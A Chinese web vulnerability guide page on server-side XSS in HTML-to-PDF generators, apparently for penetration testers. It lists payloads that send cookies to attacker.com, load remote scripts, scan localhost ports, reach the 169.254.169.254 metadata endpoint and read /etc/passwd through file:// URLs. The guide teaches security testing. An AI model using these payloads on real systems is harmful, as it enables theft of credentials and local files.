当前位置: 首页 > news >正文

【Web漏洞指南】服务器端 XSS(动态 PDF)

【Web漏洞指南】服务器端 XSS(动态 PDF)

  • 概述
  • 流行的 PDF 生成工具
  • 常见攻击载荷

概述

如果一个网页使用用户控制的输入创建 PDF,您可以尝试欺骗创建 PDF 的机器人以执行任意的 JS 代码。
因此,如果PDF 创建机器人发现某种HTML标签,并且解释它们,您可以滥用这种行为来引起服务器 XSS。
在常规利用中,能够查看/下载创建的 PDF,因此您将能够查看您通过 JS 编写的所有内容(例如使用 document.write())。但是,如果您无法看到创建的 PDF,可能需要通过向您发出网络请求来提取信息(盲人测试)


流行的 PDF 生成工具

  • wkhtmltopdf 以其将 HTML 和 CSS 转换为 PDF 文档的能力而闻名
  • TCPDF 在 PHP 生态系统中提供了一个强大的 PDF 生成解决方案
  • 对于在 Node.js 环境中工作的人,PDFKit 提供了一个可行的选择。它使得可以直接从 HTML 和 CSS 生成 PDF 文档
  • Java 开发人员可能更喜欢 iText,这是一个库,不仅有助于 PDF 创建,还支持高级功能,如数字签名和表单填充
  • FPDF 是另一个 PHP 库,以其简单性和易用性而著称

常见攻击载荷

1、测试XSS

<!-- 基本测试 -->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script><!-- 盲测 -->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

2、SVG payload

一个访问Burpcollab子域的iframe和另一个访问元数据端点的iframe

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg><svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill=""
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

更多SVG负载:

https://github.com/allanlw/svg-cheatsheet

3、路径泄露

<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

4、加载外部脚本

利用这个漏洞的最佳方法是滥用漏洞,使机器人加载您本地控制的脚本。然后,您将能够在本地更改有效负载,并使机器人每次都使用相同的代码加载它。

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" οnerrοr="document.write('<script src="https://attacker.com/test.js"></script>')"/>

5、机器人延迟

让机器人每 500 毫秒发送一次 ping 来检查机器人等待了多长时间

<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

6、端口扫描

<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

7、读取本地文件 / SSRF

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

相关文章:

【Web漏洞指南】服务器端 XSS(动态 PDF)

【Web漏洞指南】服务器端 XSS&#xff08;动态 PDF&#xff09; 概述流行的 PDF 生成工具常见攻击载荷 概述 如果一个网页使用用户控制的输入创建 PDF&#xff0c;您可以尝试欺骗创建 PDF 的机器人以执行任意的 JS 代码。 因此&#xff0c;如果PDF 创建机器人发现某种HTML标签…...

Qt中的对象树

一. QT对象树的概念 QObject 的构造函数中会传入一个 Parent 父对象指针&#xff0c;children() 函数返回 QObjectList。即每一个 QObject 对象有且仅有一个父对象&#xff0c;但可以有很多个子对象。 那么Qt这样设计的好处是什么呢&#xff1f;很简单&#xff0c;就是为了方…...

QT-day1

1、 自由发挥应用场景&#xff0c;实现登录界面。 要求&#xff1a;尽量每行代码都有注释。 #ifndef MYWIDGET_H #define MYWIDGET_H #include <QWidget> #include <QIcon>//窗口 #include <QLabel>//标签库 #include <QMovie>//动态图片库 #include…...

安装oh-my-zsh(命令行工具)

文章目录 一、安装zsh、git、wget二、安装运行脚本1、curl/wget下载2、手动下载 三、切换主题1、编辑配置文件2、切换主题 四、安装插件1、zsh-syntax-highlighting&#xff08;高亮语法错误&#xff09;2、zsh-autosuggestions&#xff08;自动补全&#xff09; 五、更多优化配…...

解决方案:‘Series‘ object has no attribute ‘xxxx‘

文章目录 一、现象二、解决方案 一、现象 ...... model.fit(X_train, y_train) y_pred model.predict(X_test) recall recall_score(y_test, y_pred) precision precision_score(y_test. y_pred) ......执行语句到**“precision precision_score(y_test. y_pred)”**这里发…...

智慧手术室手麻系统源码,C#手术麻醉临床信息系统源码,符合三级甲等医院评审要求

手麻系统全套源码&#xff0c;C#手术麻醉系统源码&#xff0c;支持二次开发&#xff0c;授权后可商用。 手术麻醉临床信息系统功能符合三级甲等医院评审要求&#xff0c;实现与医院现有信息系统如HIS、LIS、PACS、EMR等系统全面对接&#xff0c;全面覆盖从患者入院&#xff0c;…...

项目公共组件代码

弹出框标题 <Textstyle{{marginTop: 20,marginBottom: 5,fontSize: 20,textAlign: center,fontWeight: bold,color: black,}}>{data.language.CROUPLIST_CLASS_MEMBERS}</Text>可以复用的公共体 import React, {useContext, useEffect, useState} from react; imp…...

深入解析MySQL中的事务(上)

MySQL事务管理 一、事务的基本概念为什么需要事务&#xff1f;1. 数据完整性2. 并发控制3. 错误恢复4. 复杂业务逻辑的支持5. 安全性 为什么会出现事务查看引擎是否支持事务事务提交方式自动提交&#xff08;Automatic Commit&#xff09;手动提交&#xff08;Manual Commit&am…...

Springboot项目使用redis实现session共享

1.安装redis&#xff0c;并配置密码 这里就不针对于redis的安装约配置进行说明了&#xff0c;直接在项目中使用。 redis在windows环境下安装&#xff1a;Window下Redis的安装和部署详细图文教程&#xff08;Redis的安装和可视化工具的使用&#xff09;_redis安装-CSDN博客 2…...

【Linux】Centos7安装部署unimrcp,搭建MRCP服务器

yum install libtool yum install libtool-ltdl-devel yum install libsofia-sip-ua find / -name libsofia-sip-ua.so.0 2>/dev/null # 设置环境变量&#xff1a;如果库文件存在但不在默认搜索路径中&#xff0c;你可以通过设置 LD_LIBRARY_PATH 环境变量来告诉系统在哪…...

什么是Jetpack

Jetpack Jetpack 是一套组件库、工具&#xff0c;可帮助开发人员遵循最佳做法&#xff0c;减少样板代码并编写可在 Android 版本和设备上一致工作的代码&#xff0c;以便开发人员可以专注于他们关心的代码 组成 主要包含四部分&#xff1a;架构&#xff08;Architecture&…...

macOS sonoma 14.4.1编译JDK 12

macOS sonoma 14.4.1编译JDK 12 环境参考文档开始简述问题心路历程着手解决最终解决(前面有点啰嗦了&#xff0c;可以直接看这里) 记录一次靠自己看代码解决问题的经历(总之就是非常开心)。 首先&#xff0c;先diss一下bing&#xff0c;我差一点就放弃了。 环境 macOS sonom…...

GPU通用计算介绍

谈到 GPU &#xff08;Graphics Processing Unit&#xff0c;图形显示卡&#xff09;大多数人想到的是游戏、图形渲染等这些词汇&#xff0c;图形处理确实是 GPU 的一大应用场景。然而人们也早已关注到它在通用计算上的巨大潜力&#xff0c;并提出了 GPGPU (General-purpose co…...

如果数据给的是树形 转好的树形结构并且是有两个二级children的话 该如何写?

第一我们要自己写一个children 并且张数据里面的所要渲染的二级进行赋值 赋给我们新建的children 以下是代码转树形赋值 organ().then(function (res) {console.log(res); // 成功回调// setLists(res.data.data)res.data.data res.data.data.map((obj) > ({...obj, // …...

C++ 函数重载

两个以上的函数&#xff0c;具有相同的函数名&#xff0c;但是形参的个数或者类型不同&#xff0c;编译器会根据实参的类型机个数的最佳来自动调用哪一个函数。 一 带默认形参值的函数 在定义函数时预先声明默认的形参值。调用时如果给出实参&#xff0c;则用实参初始化形…...

5. 分布式链路追踪TracingFilter改造增强设计

前言 在4. 分布式链路追踪客户端工具包Starter设计一文中&#xff0c;我们实现了基础的Starter包&#xff0c;里面提供了我们自己定义的Servlet过滤器和RestTemplate拦截器&#xff0c;其中Servlet过滤器叫做HoneyTracingFilter&#xff0c;仅提供了提取SpanContext&#xff0…...

C++数据类型与表达式

一 C中的数据类型 二 基本数据类型 三 类型转换 各种类型的高低顺序如下所述; 四 构造数据类型 类类型...

电脑ip地址设置成什么比较好

随着信息技术的快速发展&#xff0c;IP地址已成为电脑在网络世界中的“身份证”。它不仅是电脑在网络中进行通信的基础&#xff0c;也直接关系到网络连接的稳定性、安全性和效率。然而&#xff0c;面对众多IP地址设置选项&#xff0c;许多用户可能会感到困惑。那么&#xff0c;…...

vue-element-template优化升级dart-sass、pnpm

1、替换 node-sass 为 dart-sass - "node-sass": "^4.9.0","sass": "^1.75.0",替换css深度作用域写法 /deep/ >>># 替换为::v-deepVue&#xff1a;Node Sass VS. Dart Sass 2、替换npm为pnpm&#xff0c;需要补充一些依赖…...

Oracle拼接json字符串

在Oracle数据库中&#xff0c;并没有内建的JSON处理函数像其他现代数据库那样直接。但是&#xff0c;你可以使用字符串连接和格式化技巧来拼接JSON字符串。 以下是一个简单的例子&#xff0c;说明如何在Oracle中拼接一个JSON字符串&#xff1a; sql DECLARE v_json_string V…...

如何向Linux内核提交开源补丁?

2021年&#xff0c;我曾经在openEuler社区上看到一项改进Linux内核工具的需求&#xff0c;因此参与过Linux内核社区的开源贡献。贡献开源社区的流程都可以在内核社区文档中找到&#xff0c;但是&#xff0c;单独学习需要一个较长的过程&#xff0c;新手难以入门&#xff0c;因此…...

python数据分析——pandas DataFrame基础知识2

参考资料&#xff1a;活用pandas库 1、分组方式 我们可以把分组计算看作“分割-应用-组合”&#xff08;split-apply-combine&#xff09;的过程。首先把数据分割成若干部分&#xff0c;然后把选择的函数&#xff08;或计算&#xff09;应用于各部分&#xff0c;最后把所有独立…...

TODESK远程开机的原理

在现代计算机技术飞速发展的背景下&#xff0c;远程控制软件成为我们日常工作中不可或缺的工具。其中&#xff0c;ToDesk作为一款高效且易用的远程控制软件&#xff0c;备受用户青睐。那么&#xff0c;ToDesk远程开机的原理是什么呢&#xff1f;本文将为你揭晓这个秘密。 KKVie…...

【c1】数据类型,运算符/循环,数组/指针,结构体,main参数,static/extern,typedef

文章目录 1.数据类型&#xff1a;编译器&#xff08;compiler&#xff09;与解释器&#xff08;interpreter&#xff09;&#xff0c;中文里的汉字和标点符号是两个字节&#xff0c;不能算一个字符&#xff08;单引号&#xff09;2.运算符/循环&#xff1a;sizeof/size_t3.数组…...

word图片水印

一、word中旧水印如何删除 打开word模板&#xff0c;想要删除旧水印&#xff0c;如下图所示操作&#xff0c;但是旧水印删除不掉。 以为上传新水印图片会替换掉旧水印&#xff0c;结果显示了2个水印&#xff0c;要怎么删除呢&#xff1f; 如下截图所示&#xff0c;双击打开页…...

kali安装及替换源

一、安装及简单配置 1.安装&#xff1a;地址就不贴了&#xff0c;自己打一下就好 2.虚拟机中打开kali 3.替换包源 (1)使用指令打开/etc/apt/sources.list mousepad /etc/apt/sources.list (2)将内容替换成阿里云源 deb http://mirrors.aliyun.com/kali kali-rolling main n…...

JSpdf,前端下载大量表格数据pdf文件,不创建dom

数据量太大使用dom》canvas》image》pdf.addimage方法弊端是canvas超出 浏览器承受像素会图片损害&#xff0c;只能将其切割转成小块的canvas,每一次调用html2canvas等待时间都很长累积时间更长&#xff0c;虽然最终可以做到抽取最小dom节点转canvas拼接数据&#xff0c;但是死…...

PHP关联数组[区别,组成,取值,遍历,函数]

关联数组 相较于数值数组&#xff0c;关联数组的索引可以为字符串和数字&#xff0c;关联数组元素也可称为键值对&#xff0c;索引为键&#xff0c;值为值。 源码 <?php echo "<hr>"; //水平线标签//关联数组$arr3 array(); //创建空的数组//关联数…...

JavaWeb--13Mybatis(2)

Mybatis&#xff08;2&#xff09; 1 Mybatis基础操作1.1 需求和准备工作1.2 删除员工日志输入参数占位符 1.3 新增员工1.4 修改员工信息1.5 查询员工1.5.1 根据ID查询数据封装 1.5.3 条件查询 2 XML配置文件规范3 MyBatis动态SQL3.1 什么是动态SQL3.2 动态SQL-if更新员工 3.3 …...

如何远程控制另一部手机:远程控制使用方法

在现今高科技的社会中&#xff0c;远程控制手机的需求在某些情境下变得越来越重要。不论是为了协助远在他乡的家人解决问题&#xff0c;还是为了确保孩子的在线安全&#xff0c;了解如何实现这一功能都是有益的。本文将为您简要介绍几种远程控制手机的方法及其使用要点。 KKVi…...

旅游网站作用/百度网盘资源链接入口

AQS是JUC包中各种CAS同步器的基类,核心原理就是aqs维护了一个volatile的int类型的变量state,不同的同步器state代表的意义不同. 比如: CountDownLatch的实现中state变量指代的是一个计数. Semaphore的实现state代表的是一个令牌的数量. ReentrantLock的实现state代表的是冲入的…...

深圳网站建设工作室/周口网站seo

做 Java 开发的你&#xff0c;一天是不是这样度过的&#xff1f;8:00--9:30 闹铃响了N遍后&#xff0c;匆忙起床洗漱&#xff0c;在拥挤的地铁上刷朋友圈、公众号和技术论坛9:30--10:00 到公司&#xff0c;吃早点&#xff0c;打开电脑收邮件&#xff0c;终终终于准备好状态开始…...

即墨网站建设公司/武汉seo招聘网

text...........................

西藏自治区住房和城乡建设厅网站/windows优化大师官方免费

一、题目 问题描述输入两个矩阵&#xff0c;分别是m*s&#xff0c;s*n大小。输出两个矩阵相乘的结果。 输入格式第一行&#xff0c;空格隔开的三个正整数m,s,n&#xff08;均不超过200&#xff09;。接下来m行&#xff0c;每行s个空格隔开的整数&#xff0c;表示矩阵A&#xf…...

咸阳免费做网站/国际形势最新消息

字符串String类 1.字符串全部在方法区的常量池里面 2.涉及到字符串内容比较用equals()方法 3.当“”运算符两侧的操作数中只要有一个是字符串&#xff08;String&#xff09;类型&#xff0c;系统会自动将另一个操作数转换为字符串&#xff08;String&#xff09;类型然后进行连…...

为什么要建设学校网站/建材企业网站推广方案

模拟实现C智能指针shared_ptr和weak_ptr 仿写C的shared_ptr和weak_ptr 当强智能指针shared_ptr的引用计数为0时&#xff0c;析构资源 当弱智能指针weak_ptr的引用计数为0时&#xff0c;析构引用计数对象 #include<iostream> #include<new> #include<stdio.h&g…...